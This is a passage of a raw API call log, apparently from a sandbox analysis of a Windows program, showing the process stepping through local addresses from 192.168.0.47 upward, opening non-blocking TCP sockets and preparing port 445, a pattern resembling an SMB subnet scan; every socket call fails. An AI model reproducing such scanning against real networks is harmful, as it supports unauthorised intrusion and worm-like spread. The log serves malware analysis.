[0217.717] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0217.718] htonl (hostlong=0xc0a8002f) returned 0x2f00a8c0 [0217.718] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.718] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0217.718] htonl (hostlong=0xc0a80030) returned 0x3000a8c0 [0217.718] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.718] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0217.718] htonl (hostlong=0xc0a80031) returned 0x3100a8c0 [0217.718] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.718] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0217.718] htonl (hostlong=0xc0a80032) returned 0x3200a8c0 [0217.718] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.718] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0217.718] htonl (hostlong=0xc0a80033) returned 0x3300a8c0 [0217.718] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.719] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0217.719] htonl (hostlong=0xc0a80034) returned 0x3400a8c0 [0217.719] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.719] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0217.719] htonl (hostlong=0xc0a80035) returned 0x3500a8c0 [0217.719] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.719] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0217.719] htonl (hostlong=0xc0a80036) returned 0x3600a8c0 [0217.719] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.719] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0217.719] htonl (hostlong=0xc0a80037) returned 0x3700a8c0 [0217.719] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.719] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0217.719] htonl (hostlong=0xc0a80038) returned 0x3800a8c0 [0217.720] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.720] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0217.720] htonl (hostlong=0xc0a80039) returned 0x3900a8c0 [0217.720] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.720] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0217.720] htonl (hostlong=0xc0a8003a) returned 0x3a00a8c0 [0217.720] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.720] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0217.720] htonl (hostlong=0xc0a8003b) returned 0x3b00a8c0 [0217.720] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.720] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0217.720] htonl (hostlong=0xc0a8003c) returned 0x3c00a8c0 [0217.720] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.720] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0217.721] htonl (hostlong=0xc0a8003d) returned 0x3d00a8c0 [0217.721] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.721] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0217.721] htonl (hostlong=0xc0a8003e) returned 0x3e00a8c0 [0217.721] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.721] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0217.721] htonl (hostlong=0xc0a8003f) returned 0x3f00a8c0 [0217.721] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.721] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0217.721] htonl (hostlong=0xc0a80040) returned 0x4000a8c0 [0217.721] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.721] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0217.721] htonl (hostlong=0xc0a80041) returned 0x4100a8c0 [0217.721] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.722] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0217.722] htonl (hostlong=0xc0a80042) returned 0x4200a8c0 [0217.722] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.722] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0217.722] htonl (hostlong=0xc0a80043) returned 0x4300a8c0 [0217.722] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.722] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0217.722] htonl (hostlong=0xc0a80044) returned 0x4400a8c0 [0217.722] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.722] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0217.722] htonl (hostlong=0xc0a80045) returned 0x4500a8c0 [0217.722] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.722] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0217.722] htonl (hostlong=0xc0a80046) returned 0x4600a8c0 [0217.722] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.723] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0217.723] htonl (hostlong=0xc0a80047) returned 0x4700a8c0 [0217.723] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.723] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0217.723] htonl (hostlong=0xc0a80048) returned 0x4800a8c0 [0217.723] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.723] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0217.723] htonl (hostlong=0xc0a80049) returned 0x4900a8c0 [0217.723] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.723] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0217.723] htonl (hostlong=0xc0a8004a) returned 0x4a00a8c0 [0217.723] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.723] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0217.723] htonl (hostlong=0xc0a8004b) returned 0x4b00a8c0 [0217.724] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.724] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0217.724] GetProcessHeap () returned 0x560000 [0217.724] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x65ebc0 | out: hHeap=0x560000) returned 1 [0217.724] GetProcessHeap () returned 0x560000 [0217.724] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x65f3c8 | out: hHeap=0x560000) returned 1 [0217.724] htons (hostshort=0x1bd) returned 0xbd01 [0217.724] GetProcessHeap () returned 0x560000 [0217.724] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x800) returned 0x65ebc0 [0217.724] GetProcessHeap () returned 0x560000 [0217.724] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x800) returned 0x65f3c8 [0217.724] htonl (hostlong=0xc0a8004d) returned 0x4d00a8c0 [0217.724] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.724] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.725] htonl (hostlong=0xc0a8004e) returned 0x4e00a8c0 [0217.725] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.725] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.725] htonl (hostlong=0xc0a8004f) returned 0x4f00a8c0 [0217.725] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.725] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.725] htonl (hostlong=0xc0a80050) returned 0x5000a8c0 [0217.725] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.725] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.725] htonl (hostlong=0xc0a80051) returned 0x5100a8c0 [0217.725] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.725] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.725] htonl (hostlong=0xc0a80052) returned 0x5200a8c0 [0217.725] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.726] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.726] htonl (hostlong=0xc0a80053) returned 0x5300a8c0 [0217.726] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.726] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.726] htonl (hostlong=0xc0a80054) returned 0x5400a8c0 [0217.726] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.726] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.726] htonl (hostlong=0xc0a80055) returned 0x5500a8c0 [0217.727] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.727] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.727] htonl (hostlong=0xc0a80056) returned 0x5600a8c0 [0217.727] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.727] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.727] htonl (hostlong=0xc0a80057) returned 0x5700a8c0 [0217.727] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.727] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.727] htonl (hostlong=0xc0a80058) returned 0x5800a8c0 [0217.727] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.727] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.727] htonl (hostlong=0xc0a80059) returned 0x5900a8c0 [0217.727] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.727] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.728] htonl (hostlong=0xc0a8005a) returned 0x5a00a8c0 [0217.728] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.728] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.728] htonl (hostlong=0xc0a8005b) returned 0x5b00a8c0 [0217.728] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.728] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.728] htonl (hostlong=0xc0a8005c) returned 0x5c00a8c0 [0217.728] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.728] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.728] htonl (hostlong=0xc0a8005d) returned 0x5d00a8c0 [0217.728] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.728] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.728] htonl (hostlong=0xc0a8005e) returned 0x5e00a8c0 [0217.728] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.728] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.729] htonl (hostlong=0xc0a8005f) returned 0x5f00a8c0 [0217.729] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.729] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.729] htonl (hostlong=0xc0a80060) returned 0x6000a8c0 [0217.729] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.729] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.729] htonl (hostlong=0xc0a80061) returned 0x6100a8c0 [0217.729] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.729] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.729] htonl (hostlong=0xc0a80062) returned 0x6200a8c0 [0217.729] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.729] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.729] htonl (hostlong=0xc0a80063) returned 0x6300a8c0 [0217.729] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.730] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.730] htonl (hostlong=0xc0a80064) returned 0x6400a8c0 [0217.730] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.730] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.730] htonl (hostlong=0xc0a80065) returned 0x6500a8c0 [0217.730] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.730] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.730] htonl (hostlong=0xc0a80066) returned 0x6600a8c0 [0217.730] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.730] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.730] htonl (hostlong=0xc0a80067) returned 0x6700a8c0 [0217.730] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.730] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.730] htonl (hostlong=0xc0a80068) returned 0x6800a8c0 [0217.730] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.730] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.730] htonl (hostlong=0xc0a80069) returned 0x6900a8c0 [0217.730] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.731] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.731] htonl (hostlong=0xc0a8006a) returned 0x6a00a8c0 [0217.731] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.731] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.731] htonl (hostlong=0xc0a8006b) returned 0x6b00a8c0 [0217.731] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.731] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.731] htonl (hostlong=0xc0a8006c) returned 0x6c00a8c0 [0217.731] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.731] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.731] htonl (hostlong=0xc0a8006d) returned 0x6d00a8c0 [0217.731] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.731] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.731] htonl (hostlong=0xc0a8006e) returned 0x6e00a8c0 [0217.732] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.732] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.732] htonl (hostlong=0xc0a8006f) returned 0x6f00a8c0 [0217.732] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.732] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.732] htonl (hostlong=0xc0a80070) returned 0x7000a8c0 [0217.732] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.732] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.732] htonl (hostlong=0xc0a80071) returned 0x7100a8c0 [0217.732] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.732] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.732] htonl (hostlong=0xc0a80072) returned 0x7200a8c0 [0217.732] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.732] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.732] htonl (hostlong=0xc0a80073) returned 0x7300a8c0 [0217.733] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.733] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.733] htonl (hostlong=0xc0a80074) returned 0x7400a8c0 [0217.733] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.733] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.733] htonl (hostlong=0xc0a80075) returned 0x7500a8c0 [0217.733] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.733] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.733] htonl (hostlong=0xc0a80076) returned 0x7600a8c0 [0217.733] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.733] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.733] htonl (hostlong=0xc0a80077) returned 0x7700a8c0 [0217.733] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.733] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.733] htonl (hostlong=0xc0a80078) returned 0x7800a8c0 [0217.733] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.733] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.734] htonl (hostlong=0xc0a80079) returned 0x7900a8c0 [0217.734] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.734] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.734] htonl (hostlong=0xc0a8007a) returned 0x7a00a8c0 [0217.734] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.734] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.734] htonl (hostlong=0xc0a8007b) returned 0x7b00a8c0 [0217.734] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.734] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.734] htonl (hostlong=0xc0a8007c) returned 0x7c00a8c0 [0217.734] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.734] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.734] htonl (hostlong=0xc0a8007d) returned 0x7d00a8c0 [0217.734] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.734] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.734] htonl (hostlong=0xc0a8007e) returned 0x7e00a8c0 [0217.735] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.735] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.735] htonl (hostlong=0xc0a8007f) returned 0x7f00a8c0 [0217.735] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.735] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.735] htonl (hostlong=0xc0a80080) returned 0x8000a8c0 [0217.735] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.735] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.735] htonl (hostlong=0xc0a80081) returned 0x8100a8c0 [0217.735] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.735] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.735] htonl (hostlong=0xc0a80082) returned 0x8200a8c0 [0217.735] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.735] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.736] htonl (hostlong=0xc0a80083) returned 0x8300a8c0 [0217.736] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.736] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.736] htonl (hostlong=0xc0a80084) returned 0x8400a8c0 [0217.736] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.736] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.736] htonl (hostlong=0xc0a80085) returned 0x8500a8c0 [0217.736] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.736] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.736] htonl (hostlong=0xc0a80086) returned 0x8600a8c0 [0217.736] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.736] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.736] htonl (hostlong=0xc0a80087) returned 0x8700a8c0 [0217.736] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.736] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.737] htonl (hostlong=0xc0a80088) returned 0x8800a8c0 [0217.737] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.737] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.737] htonl (hostlong=0xc0a80089) returned 0x8900a8c0 [0217.737] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.737] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.737] htonl (hostlong=0xc0a8008a) returned 0x8a00a8c0 [0217.737] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.737] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.737] htonl (hostlong=0xc0a8008b) returned 0x8b00a8c0 [0217.737] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.737] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.737] htonl (hostlong=0xc0a8008c) returned 0x8c00a8c0 [0217.737] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.738] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.738] htonl (hostlong=0xc0a8008d) returned 0x8d00a8c0 [0217.738] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.738] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.738] htonl (hostlong=0xc0a8008e) returned 0x8e00a8c0 [0217.738] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.738] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.738] htonl (hostlong=0xc0a8008f) returned 0x8f00a8c0 [0217.738] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.738] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.738] htonl (hostlong=0xc0a80090) returned 0x9000a8c0 [0217.738] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.738] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.738] htonl (hostlong=0xc0a80091) returned 0x9100a8c0 [0217.738] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.739] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.739] htonl (hostlong=0xc0a80092) returned 0x9200a8c0 [0217.739] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.739] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.739] htonl (hostlong=0xc0a80093) returned 0x9300a8c0 [0217.739] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.739] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.739] htonl (hostlong=0xc0a80094) returned 0x9400a8c0 [0217.739] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.739] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.739] htonl (hostlong=0xc0a80095) returned 0x9500a8c0 [0217.739] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.739] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.739] htonl (hostlong=0xc0a80096) returned 0x9600a8c0 [0217.739] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.740] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.740] htonl (hostlong=0xc0a80097) returned 0x9700a8c0 [0217.740] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.740] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.740] htonl (hostlong=0xc0a80098) returned 0x9800a8c0 [0217.740] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.740] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.740] htonl (hostlong=0xc0a80099) returned 0x9900a8c0 [0217.740] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.740] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.740] htonl (hostlong=0xc0a8009a) returned 0x9a00a8c0 [0217.740] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.740] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.740] htonl (hostlong=0xc0a8009b) returned 0x9b00a8c0 [0217.740] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.740] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.740] htonl (hostlong=0xc0a8009c) returned 0x9c00a8c0 [0217.741] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.741] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.741] htonl (hostlong=0xc0a8009d) returned 0x9d00a8c0 [0217.741] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.741] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.741] htonl (hostlong=0xc0a8009e) returned 0x9e00a8c0 [0217.741] socket (af=2, type=1, protocol=6) returned 0xffffffff [0217.741] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0217.741] htonl (hostlong=0xc0a8009f) returned 0x9f00a8c0 [0217.741] socket (af=2, type=1, protocol=6) returned 